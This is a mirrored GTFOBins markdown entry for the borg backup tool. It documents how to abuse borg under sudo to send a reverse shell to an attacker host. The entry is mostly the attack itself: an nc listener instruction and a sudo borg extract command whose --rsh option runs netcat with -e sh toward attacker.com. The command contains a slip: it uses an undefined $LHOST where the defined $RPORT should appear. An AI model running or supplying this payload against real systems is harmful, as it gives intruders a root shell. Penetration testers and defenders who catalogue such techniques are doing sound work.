mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-27 23:38:29 +01:00
10 lines
259 B
Markdown
10 lines
259 B
Markdown
---
|
|
sudo:
|
|
- description: Run `nc -l -p 12345` on the attacker box to receive the shell.
|
|
code: |
|
|
RHOST=attacker.com
|
|
RPORT=12345
|
|
NETCAT=/usr/bin/nc
|
|
sudo borg extract .@.:/::. --rsh "$NETCAT $RHOST $LHOST -e sh"
|
|
---
|